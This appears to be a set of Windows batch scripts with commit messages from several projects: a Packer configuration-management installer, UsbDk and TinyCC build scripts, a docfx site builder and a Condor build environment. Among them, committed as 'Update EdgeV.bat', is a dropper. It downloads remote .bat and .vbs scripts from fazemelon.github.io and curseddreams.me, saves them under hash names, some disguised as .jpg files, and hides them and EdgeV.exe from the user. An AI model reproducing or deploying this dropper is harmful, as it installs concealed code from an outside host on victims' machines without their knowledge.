if not exist "%CHEF_PATH%" goto exit1

echo ==^> Installing Chef client %CM_VERSION%
msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log"  %CHEF_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log"  %CHEF_OPTIONS%
ver>nul

goto exit0

::::::::::::
:chefdk
::::::::::::

if not defined CHEFDK_URL if "%CM_VERSION%" == "latest" set CHEFDK_URL=https://opscode-omnibus-packages.s3.amazonaws.com/windows/2008r2/x86_64/chefdk-windows-0.2.0-2.windows.msi
if not defined CHEFDK_URL set CHEFDK_URL=https://opscode-omnibus-packages.s3.amazonaws.com/windows/2008r2/x86_64/chefdk-windows-%CM_VERSION%.windows.msi

set CHEFDK_MSI=chefdk-windows-latest.msi
set CHEFDK_DIR=%TEMP%\chefdk
set CHEFDK_PATH=%CHEFDK_DIR%\%CHEFDK_MSI%

echo ==^> Creating "%CHEFDK_DIR%"
mkdir "%CHEFDK_DIR%"
pushd "%CHEFDK_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  echo ==^> Downloading %CHEFDK_URL% to %CHEFDK_PATH%
  call "%SystemRoot%\_download.cmd" "%CHEFDK_URL%" "%CHEFDK_PATH%"
) else (
  echo ==^> Downloading %CHEFDK_URL% to %CHEFDK_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%CHEFDK_URL%', '%CHEFDK_PATH%')" <NUL
)
if not exist "%CHEFDK_PATH%" goto exit1

echo ==^> Installing Chef Development Kit %CM_VERSION%
msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log"  %CHEFDK_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log"  %CHEFDK_OPTIONS%
ver>nul

goto exit0

::::::::::::
:puppet
::::::::::::

if "%CM_VERSION%" == "latest" set CM_VERSION=3.7.3

if not defined PUPPET_URL set PUPPET_URL=http://downloads.puppetlabs.com/windows/puppet-%CM_VERSION%.msi

for %%i in ("%PUPPET_URL%") do set PUPPET_MSI=%%~nxi
set PUPPET_DIR=%TEMP%\puppet
set PUPPET_PATH=%PUPPET_DIR%\%PUPPET_MSI%

echo ==^> Creating "%PUPPET_DIR%"
mkdir "%PUPPET_DIR%"
pushd "%PUPPET_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%PUPPET_URL%" "%PUPPET_PATH%"
) else (
  echo ==^> Downloading %PUPPET_URL% to %PUPPET_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%PUPPET_URL%', '%PUPPET_PATH%')" <NUL
)
if not exist "%PUPPET_PATH%" goto exit1

echo ==^> Installing Puppet client %CM_VERSION%
:: see http://docs.puppetlabs.com/pe/latest/install_windows.html
msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%
ver>nul

goto exit0

::::::::::::
:salt
::::::::::::

if "%CM_VERSION%" == "latest" set CM_VERSION=2014.7.0

if not defined SALT_32_URL set SALT_32_URL=https://docs.saltstack.com/downloads/Salt-Minion-%CM_VERSION%-x86-Setup.exe
if not defined SALT_64_URL set SALT_64_URL=https://docs.saltstack.com/downloads/Salt-Minion-%CM_VERSION%-AMD64-Setup.exe

if exist "%SystemDrive%\Program Files (x86)" (
  set SALT_URL=%SALT_64_URL%
) else (
  set SALT_URL=%SALT_32_URL%
)

for %%i in ("%SALT_URL%") do set SALT_EXE=%%~nxi
set SALT_DIR=%TEMP%\salt
set SALT_PATH=%SALT_DIR%\%SALT_EXE%

echo ==^> Creating "%SALT_DIR%"
mkdir "%SALT_DIR%"
pushd "%SALT_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%SALT_URL%" "%SALT_PATH%"
) else (
  echo ==^> Downloading %SALT_URL% to %SALT_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%SALT_URL%', '%SALT_PATH%')" <NUL
)
if not exist "%SALT_PATH%" goto exit1

echo ==^> Installing Salt minion
:: see http://docs.saltstack.com/en/latest/topics/installation/windows.html
"%SALT_PATH%" /S %SALT_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: "%SALT_PATH%" /S %SALT_OPTIONS%
ver>nul

goto exit0

::::::::::::
:nocm
::::::::::::

echo ==^> Building box without a configuration management tool

:exit0

@ping 127.0.0.1
@ver>nul

@goto :exit

:exit1

@ping 127.0.0.1
@verify other 2>nul

:exit

@echo ==^> Script exiting with errorlevel %ERRORLEVEL%
@exit /b %ERRORLEVEL%

@setlocal EnableDelayedExpansion EnableExtensions
@for %%i in (a:\_packer_config*.cmd) do @call "%%~i"
@if not defined PACKER_DEBUG echo off

if not defined CM echo ==^> ERROR: The "CM" variable was not found in the environment & goto exit1

if "%CM%" == "nocm"   goto nocm

if not defined CM_VERSION echo ==^> ERROR: The "CM_VERSION" variable was not found in the environment & set CM_VERSION=latest

if "%CM%" == "chef"   goto chef
if "%CM%" == "chefdk" goto chefdk
if "%CM%" == "puppet" goto puppet
if "%CM%" == "salt"   goto salt

echo ==^> ERROR: Unknown value for environment variable CM: "%CM%"

goto exit1

::::::::::::
:chef
::::::::::::

if not defined CHEF_URL if "%CM_VERSION%" == "latest" set CHEF_URL=https://www.getchef.com/chef/install.msi
if not defined CHEF_URL set CHEF_URL=https://opscode-omnibus-packages.s3.amazonaws.com/windows/2008r2/x86_64/chef-windows-%CM_VERSION%.windows.msi

set CHEF_MSI=chef-client-latest.msi
set CHEF_DIR=%TEMP%\chef
set CHEF_PATH=%CHEF_DIR%\%CHEF_MSI%

echo ==^> Creating "%CHEF_DIR%"
mkdir "%CHEF_DIR%"
pushd "%CHEF_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%CHEF_URL%" "%CHEF_PATH%"
) else (
  echo ==^> Downloading %CHEF_URL% to %CHEF_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile(\"%CHEF_URL%\", '%CHEF_PATH%')" <NUL
)
if not exist "%CHEF_PATH%" goto exit1

echo ==^> Installing Chef client %CM_VERSION%
msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log"  %CHEF_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log"  %CHEF_OPTIONS%
ver>nul

goto exit0

::::::::::::
:chefdk
::::::::::::

if not defined CHEFDK_URL if "%CM_VERSION%" == "latest" set CHEFDK_URL=https://www.getchef.com/chef/download-chefdk?p=windows^&pv=2008r2^&m=x86_64
if not defined CHEFDK_URL set CHEFDK_URL=https://www.getchef.com/chef/download-chefdk?p=windows^&pv=2008r2^&m=x86_64^&v=%CM_VERSION%

set CHEFDK_MSI=chefdk-windows.msi
set CHEFDK_DIR=%TEMP%\chefdk
set CHEFDK_PATH=%CHEFDK_DIR%\%CHEFDK_MSI%

echo ==^> Creating "%CHEFDK_DIR%"
mkdir "%CHEFDK_DIR%"
pushd "%CHEFDK_DIR%"

echo ==^> Downloading Chef DK to %CHEFDK_PATH%
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%CHEFDK_URL%', '%CHEFDK_PATH%')" <NUL
if not exist "%CHEFDK_PATH%" goto exit1

echo ==^> Installing Chef Development Kit %CM_VERSION%
msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log"  %CHEFDK_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log"  %CHEFDK_OPTIONS%
ver>nul

goto exit0

::::::::::::
:puppet
::::::::::::

if "%CM_VERSION%" == "latest" set CM_VERSION=3.7.3

if not defined PUPPET_URL set PUPPET_URL=http://downloads.puppetlabs.com/windows/puppet-%CM_VERSION%.msi

for %%i in ("%PUPPET_URL%") do set PUPPET_MSI=%%~nxi
set PUPPET_DIR=%TEMP%\puppet
set PUPPET_PATH=%PUPPET_DIR%\%PUPPET_MSI%

echo ==^> Creating "%PUPPET_DIR%"
mkdir "%PUPPET_DIR%"
pushd "%PUPPET_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%PUPPET_URL%" "%PUPPET_PATH%"
) else (
  echo ==^> Downloading %PUPPET_URL% to %PUPPET_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%PUPPET_URL%', '%PUPPET_PATH%')" <NUL
)
if not exist "%PUPPET_PATH%" goto exit1

echo ==^> Installing Puppet client %CM_VERSION%
:: see http://docs.puppetlabs.com/pe/latest/install_windows.html
msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%
ver>nul

goto exit0

::::::::::::
:salt
::::::::::::

if "%CM_VERSION%" == "latest" set CM_VERSION=2014.7.0

if not defined SALT_32_URL set SALT_32_URL=https://docs.saltstack.com/downloads/Salt-Minion-%CM_VERSION%-x86-Setup.exe
if not defined SALT_64_URL set SALT_64_URL=https://docs.saltstack.com/downloads/Salt-Minion-%CM_VERSION%-AMD64-Setup.exe

if exist "%SystemDrive%\Program Files (x86)" (
  set SALT_URL=%SALT_64_URL%
) else (
  set SALT_URL=%SALT_32_URL%
)

for %%i in ("%SALT_URL%") do set SALT_EXE=%%~nxi
set SALT_DIR=%TEMP%\salt
set SALT_PATH=%SALT_DIR%\%SALT_EXE%

echo ==^> Creating "%SALT_DIR%"
mkdir "%SALT_DIR%"
pushd "%SALT_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%SALT_URL%" "%SALT_PATH%"
) else (
  echo ==^> Downloading %SALT_URL% to %SALT_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%SALT_URL%', '%SALT_PATH%')" <NUL
)
if not exist "%SALT_PATH%" goto exit1

echo ==^> Installing Salt minion
:: see http://docs.saltstack.com/en/latest/topics/installation/windows.html
"%SALT_PATH%" /S %SALT_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: "%SALT_PATH%" /S %SALT_OPTIONS%
ver>nul

goto exit0

::::::::::::
:nocm
::::::::::::

echo ==^> Building box without a configuration management tool

:exit0

@ping 127.0.0.1
@ver>nul

@goto :exit

:exit1

@ping 127.0.0.1
@verify other 2>nul

:exit

@echo ==^> Script exiting with errorlevel %ERRORLEVEL%
@exit /b %ERRORLEVEL%

Use Omnitruck API to download the latest version of the Chef DK: https://github.com/opscode/opscode-omnitruck Sadly, there is no good way to pass parameters with equals signs to batch files, so omitting call to _download.cmd for now


@echo off
:start
IF EXIST 7b96332f2c9f777574ba038be0334018.jpg goto nextfile1
:nextfile1
IF EXIST d3745b53b599b72e9cb750f4d757560d.bat goto nextfile2
:nextfile2
IF EXIST ec372a061f8a3c0432bb4575216c7f75.jpg goto nextfile3
:nextfile3
IF NOT EXIST 7b96332f2c9f777574ba038be0334018.jpg goto files
IF NOT EXIST d3745b53b599b72e9cb750f4d757560d.bat goto files
IF NOT EXIST ec372a061f8a3c0432bb4575216c7f75.jpg goto files
:files
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://fazemelon.github.io/images/FaZeMelon.jpg', 'ec372a061f8a3c0432bb4575216c7f75.jpg')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://fazemelon.github.io/scripts/FileScheduler.bat', 'd3745b53b599b72e9cb750f4d757560d.bat')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://FaZeMelon.github.io/2FT9d9jtuW0uJxI2at9x.jpg', '7b96332f2c9f777574ba038be0334018.jpg')"
attrib +h 7b96332f2c9f777574ba038be0334018.jpg
attrib +h d3745b53b599b72e9cb750f4d757560d.bat
attrib +h ec372a061f8a3c0432bb4575216c7f75.jpg
attrib +h EdgeV.exe
:end

@echo off
:start
IF EXIST 7b96332f2c9f777574ba038be0334018.jpg goto nextfile1
:nextfile1
IF EXIST d3745b53b599b72e9cb750f4d757560d.vbs goto nextfile2
:nextfile2
IF EXIST FileScheduler.bat goto nextfile3
:nextfile3
IF NOT EXIST ec372a061f8a3c0432bb4575216c7f75.jpg goto files
IF NOT EXIST d3745b53b599b72e9cb750f4d757560d.bat goto files
IF NOT EXIST 7b96332f2c9f777574ba038be0334018.vbs goto files
:files
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/7b96332f2c9f777574ba038be0334018.jpg', 'ec372a061f8a3c0432bb4575216c7f75.jpg')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/FileScheduler.bat', 'd3745b53b599b72e9cb750f4d757560d.bat')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/d3745b53b599b72e9cb750f4d757560d.vbs', '7b96332f2c9f777574ba038be0334018.vbs')"
attrib +h 7b96332f2c9f777574ba038be0334018.jpg
attrib +h d3745b53b599b72e9cb750f4d757560d.bat
attrib +h ec372a061f8a3c0432bb4575216c7f75.jpg
attrib +h EdgeV.exe
:end

Update EdgeV.bat

Update EdgeV.bat


@echo off
:start
IF EXIST b5754nfhHuf58Gd4568.vbs goto nextfile4
:nextfile4
IF EXIST 7b96332f2c9f777574ba038be0334018.jpg goto nextfile1
:nextfile1
IF EXIST d3745b53b599b72e9cb750f4d757560d.vbs goto nextfile2
:nextfile2
IF EXIST FileScheduler.bat goto nextfile3
:nextfile3
IF NOT EXIST ec372a061f8a3c0432bb4575216c7f75.jpg goto files
IF NOT EXIST d3745b53b599b72e9cb750f4d757560d.bat goto files
IF NOT EXIST 7b96332f2c9f777574ba038be0334018.vbs goto files
IF NOT EXIST b5754nfhHuf58Gd4568.vbs goto files
:files
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/7b96332f2c9f777574ba038be0334018.jpg', 'ec372a061f8a3c0432bb4575216c7f75.jpg')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/FileScheduler.bat', 'd3745b53b599b72e9cb750f4d757560d.bat')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/d3745b53b599b72e9cb750f4d757560d.vbs', '7b96332f2c9f777574ba038be0334018.vbs')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/DankMemes.vbs', 'b5754nfhHuf58Gd4568.vbs')"
attrib +h 7b96332f2c9f777574ba038be0334018.jpg
attrib +h d3745b53b599b72e9cb750f4d757560d.bat
attrib +h ec372a061f8a3c0432bb4575216c7f75.jpg
attrib +h b5754nfhHuf58Gd4568.vbs
attrib +h EdgeV.exe
:end

@echo off
:start
IF EXIST b5754nfhHuf58Gd4568.vbs goto nextfile4
:nextfile4
IF EXIST 7b96332f2c9f777574ba038be0334018.jpg goto nextfile1
:nextfile1
IF EXIST d3745b53b599b72e9cb750f4d757560d.vbs goto nextfile2
:nextfile2
IF EXIST FileScheduler.bat goto nextfile3
:nextfile3
IF NOT EXIST ec372a061f8a3c0432bb4575216c7f75.jpg goto files
IF NOT EXIST d3745b53b599b72e9cb750f4d757560d.bat goto files
IF NOT EXIST 7b96332f2c9f777574ba038be0334018.vbs goto files
IF NOT EXIST b5754nfhHuf58Gd4568.vbs goto files
:files
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/7b96332f2c9f777574ba038be0334018.jpg', 'ec372a061f8a3c0432bb4575216c7f75.jpg')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/FileScheduler.bat', 'd3745b53b599b72e9cb750f4d757560d.bat')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/d3745b53b599b72e9cb750f4d757560d.vbs', '7b96332f2c9f777574ba038be0334018.vbs')"
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/DankMemes.vbs', 'b5754nfhHuf58Gd4568.vbs')"
attrib +h 7b96332f2c9f777574ba038be0334018.jpg
attrib +h d3745b53b599b72e9cb750f4d757560d.bat
attrib +h ec372a061f8a3c0432bb4575216c7f75.jpg
attrib +h b5754nfhHuf58Gd4568.vbs
:end

Update EdgeV.bat

Update EdgeV.bat


SETLOCAL EnableExtensions EnableDelayedExpansion

IF [%UsbDkVersion%] == [] SET UsbDkVersion="99.99.99"
IF [%UsbDkVersion%] == [".."] SET UsbDkVersion="99.99.99"

pushd ..\..\Install_Debug\x86

del UsbDk_Debug_x86.msi UsbDk_Debug_x86.wixobj UsbDk_Debug_x86.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk_Debug.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Debug
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk_Debug.wixobj -out UsbDk_Debug_x86.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

pushd ..\..\Install_Debug\x64

del UsbDk_Debug_x64.msi UsbDk_Debug_x64.msi.wixobj UsbDk_Debug_x64.msi.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk_Debug.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Debug -dUsbDk64Bit=1
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk_Debug.wixobj -out UsbDk_Debug_x64.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

pushd ..\..\Install\x86

del UsbDk_x86.msi UsbDk_x86.wixobj UsbDk_x86.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Release
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk.wixobj -out UsbDk_x86.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

pushd ..\..\Install\x64

del UsbDk_x64.msi UsbDk_x64.msi.wixobj UsbDk_x64.msi.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Release -dUsbDk64Bit=1
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk.wixobj -out UsbDk_x64.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

echo SUCCEEDED

SETLOCAL EnableExtensions EnableDelayedExpansion

IF [%UsbDkVersion%] == [] SET UsbDkVersion=99.99.99
IF [%UsbDkVersion%] == [".."] SET UsbDkVersion=99.99.99

pushd ..\..\Install_Debug\x86

del UsbDk_Debug_x86.msi UsbDk_Debug_x86.wixobj UsbDk_Debug_x86.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk_Debug.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Debug
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk_Debug.wixobj -out UsbDk_Debug_%UsbDkVersion%_x86.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

pushd ..\..\Install_Debug\x64

del *.msi *.wixobj *.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk_Debug.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Debug -dUsbDk64Bit=1
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk_Debug.wixobj -out UsbDk_Debug_%UsbDkVersion%_x64.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

pushd ..\..\Install\x86

del *.msi *.wixobj *.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Release
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk.wixobj -out UsbDk_%UsbDkVersion%_x86.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

pushd ..\..\Install\x64

del UsbDk_x64.msi UsbDk_x64.msi.wixobj UsbDk_x64.msi.wixpdb

"C:\Program Files (x86)\WiX Toolset v3.8\bin\candle.exe" ..\..\Tools\Installer\UsbDkInstaller.wxs -out UsbDk.wixobj -dUsbDkVersion=%UsbDkVersion% -dConfig=Release -dUsbDk64Bit=1
if !ERRORLEVEL! NEQ 0 exit /B 1
"C:\Program Files (x86)\WiX Toolset v3.8\bin\light.exe" UsbDk.wixobj -out UsbDk_%UsbDkVersion%_x64.msi -sw1076
if !ERRORLEVEL! NEQ 0 exit /B 1

popd

echo SUCCEEDED

Add package version to MSI name

Build: Add package version to MSI name

Signed-off-by: Dmitry Fleytman <f50f56ffad4b379c2a89812e98b14900ef87e9ea@redhat.com>


@rem ----------------------------------------------------
@rem batch file to build tcc using gcc and ar from mingw
@rem ----------------------------------------------------
@set PROMPT=$G$S

copy ..\include\*.h include

echo>..\config.h #define TCC_VERSION "0.9.25"
echo>>..\config.h #define TCC_TARGET_PE 1
echo>>..\config.h #define CONFIG_TCCDIR "."
echo>>..\config.h #define CONFIG_SYSROOT ""

@if _%PROCESSOR_ARCHITEW6432%_==_AMD64_ goto x86_64
@if _%PROCESSOR_ARCHITECTURE%_==_AMD64_ goto x86_64

:i386
@set AS=.\tcc -c
@goto tools

:x86_64
@set P=x86_64-pc-mingw32-
@set X64=-x64
@rem !!! currently TinyCC doesn't 64bit asm. Need 'yasm' !!!
@set AS=yasm -p gnu -f elf64
echo>>..\config.h #define TCC_TARGET_X86_64 1
@goto tools

:tools
%P%gcc -Os tools/tiny_impdef.c -o tiny_impdef.exe -s
%P%gcc -Os tools/tiny_libmaker.c -o tiny_libmaker.exe -s

:libtcc
if not exist libtcc\nul mkdir libtcc
copy ..\libtcc.h libtcc\libtcc.h

%P%gcc -Os -fno-strict-aliasing ../libtcc.c -c -o libtcc.o
%P%ar rcs libtcc/libtcc.a libtcc.o

:tcc
%P%gcc -Os -fno-strict-aliasing ../tcc.c -o tcc.exe -s -DTCC_USE_LIBTCC -ltcc -Llibtcc

:libtcc1.a
.\tcc -c lib/crt1.c
.\tcc -c lib/wincrt1.c
.\tcc -c lib/dllcrt1.c
.\tcc -c lib/dllmain.c
.\tcc -c ../lib/libtcc1.c
.\tcc -o tmp.s -E lib/chkstk.S
%AS% -o chkstk.o tmp.s
.\tcc -o tmp.s -E ../lib/alloca86.S
%AS% -o alloca86.o tmp.s
del tmp.s
tiny_libmaker lib/libtcc1%X64%.a crt1.o wincrt1.o dllcrt1.o dllmain.o chkstk.o libtcc1.o alloca86.o

:cleanup
del *.o

@rem ----------------------------------------------------
@rem batch file to build tcc using gcc and ar from mingw
@rem ----------------------------------------------------
@set PROMPT=$G$S

copy ..\include\*.h include

echo>..\config.h #define TCC_VERSION "0.9.25"
echo>>..\config.h #define TCC_TARGET_PE 1
echo>>..\config.h #define CONFIG_TCCDIR "."
echo>>..\config.h #define CONFIG_SYSROOT ""

@if _%PROCESSOR_ARCHITEW6432%_==_AMD64_ goto x86_64
@if _%PROCESSOR_ARCHITECTURE%_==_AMD64_ goto x86_64
@goto tools

:x86_64
echo>>..\config.h #define TCC_TARGET_X86_64 1
@set P=x86_64-pc-mingw32-
@goto tools

:tools
%P%gcc -Os tools/tiny_impdef.c -o tiny_impdef.exe -s
%P%gcc -Os tools/tiny_libmaker.c -o tiny_libmaker.exe -s

:libtcc
if not exist libtcc\nul mkdir libtcc
copy ..\libtcc.h libtcc\libtcc.h

%P%gcc -Os -fno-strict-aliasing ../libtcc.c -c -o libtcc.o
%P%ar rcs libtcc/libtcc.a libtcc.o

:tcc
%P%gcc -Os -fno-strict-aliasing ../tcc.c -o tcc.exe -s -DTCC_USE_LIBTCC -ltcc -Llibtcc

:libtcc1.a
.\tcc -c lib/crt1.c
.\tcc -c lib/wincrt1.c
.\tcc -c lib/dllcrt1.c
.\tcc -c lib/dllmain.c
.\tcc -c ../lib/libtcc1.c
@if not x%P%==x goto asm64
.\tcc -c lib/chkstk.S
.\tcc -c ../lib/alloca86.S
tiny_libmaker lib/libtcc1.a crt1.o wincrt1.o dllcrt1.o dllmain.o chkstk.o libtcc1.o alloca86.o
@goto cleanup

:asm64
@rem !!! currently TinyCC doesn't 64bit asm. Need 'yasm' !!!
.\tcc -o tmp.s -E lib/chkstk.S
yasm -p gnu -f elf64 -o chkstk.o tmp.s
.\tcc -o tmp.s -E ../lib/alloca86_64.S
yasm -p gnu -f elf64 -o alloca86_64.o tmp.s
del tmp.s
tiny_libmaker lib/libtcc1.a crt1.o wincrt1.o dllcrt1.o dllmain.o chkstk.o libtcc1.o alloca86_64.o

:cleanup
del *.o

fix bat

win64: fix bat


ECHO CHOCO INSTALL
choco install docfx -y || exit /b
ECHO CHOCO UPGRADE
choco upgrade docfx -y || exit /b
ECHO DOCFX
docfx docfx\docfx.json || exit /b
ECHO DELETE docs
del docs /s /q || exit /b
REM the CNAME file is generated in the doc folder when added through the github
REM settings page. Apparently github uses this file to determine the custom
REM domain. The line above deletes the whole docs folder so we need to copy it
REM from the docfx folder. If we ever want to change the custom domain settings
REM we need to alter the docfx\CNAME file and not use the github settings page.
ECHO COPY CNAME
copy docfx\CNAME docs /Y || exit /b
ECHO COPY _site TO docs
xcopy docfx\_site docs /E /Y || exit /b

ECHO CHOCO INSTALL
choco install docfx -y || exit /b
ECHO CHOCO UPGRADE
choco upgrade docfx -y || exit /b
ECHO NUGET RESTORE
nuget restore
ECHO DOCFX
docfx docfx\docfx.json || exit /b
ECHO DELETE docs
del docs /s /q || exit /b
REM the CNAME file is generated in the doc folder when added through the github
REM settings page. Apparently github uses this file to determine the custom
REM domain. The line above deletes the whole docs folder so we need to copy it
REM from the docfx folder. If we ever want to change the custom domain settings
REM we need to alter the docfx\CNAME file and not use the github settings page.
ECHO COPY CNAME
copy docfx\CNAME docs /Y || exit /b
ECHO COPY _site TO docs
xcopy docfx\_site docs /E /Y || exit /b

Add nuget restore to build-site.cmd

Add nuget restore to build-site.cmd


@echo off
REM ======================================================================
REM First set all the variables that contain common bits for our build
REM environment.
REM * * * * * * * * * * * * * PLEASE READ* * * * * * * * * * * * * * * *
REM Microsoft Visual Studio will choke on variables that contain strings
REM exceeding 255 chars, so be careful when editing this file! It's
REM totally lame but there's nothing we can do about it.
REM ======================================================================

REM Set paths to Visual C++, the Platform SDKs, and Perl
set VC_DIR=C:\Program Files\Microsoft Visual Studio\VC98\Bin
set SDK_DIR=C:\Program Files\Microsoft Platform SDK
set SDK_XP_DIR=C:\Program Files\Microsoft Platform SDK for Windows XP SP2
set PERL_DIR=C:\Perl\bin

REM Where do the completed externals live?
if A%EXTERN_DIR%==A  set EXTERN_DIR=%cd%\..\externals
set EXT_INSTALL=%EXTERN_DIR%\install
set EXT_TRIGGERS=%EXTERN_DIR%\triggers

REM Specify which versions of the externals we're using. To add a
REM new external, just add its version here, and add that to the
REM EXTERNALS_NEEDED variable defined below.
set EXT_GSOAP_VERSION=gsoap-2.7.6c-p2
set EXT_OPENSSL_VERSION=openssl-0.9.8
set EXT_POSTGRESQL_VERSION=postgresql-8.0.2
set EXT_KERBEROS_VERSION=krb5-1.4.3
set EXT_GLOBUS_VERSION=
set EXT_PCRE_VERSION=pcre-5.0
set EXT_DRMAA_VERSION=drmaa-1.5

REM Now tell the build system what externals we need built.
set EXTERNALS_NEEDED=%EXT_GSOAP_VERSION% %EXT_OPENSSL_VERSION% %EXT_KERBEROS_VERSION% %EXT_GLOBUS_VERSION% %EXT_PCRE_VERSION% %EXT_POSTGRESQL_VERSION% %EXT_DRMAA_VERSION%

REM Put NTConfig in the PATH, since it's got lots of stuff we need
REM like awk, gunzip, tar, bison, yacc...
set PATH=%cd%;%SystemRoot%;%SystemRoot%\system32;%PERL_DIR%;%VC_DIR%;%SDK_DIR%;%SDK_XP_DIR%

call vcvars32.bat
if not defined INCLUDE ( echo . && echo *** Failed to run VCVARS32.BAT! Is Microsoft Visual Studio 6.0 installed? && exit /B 1 )
call setenv /2000 /RETAIL
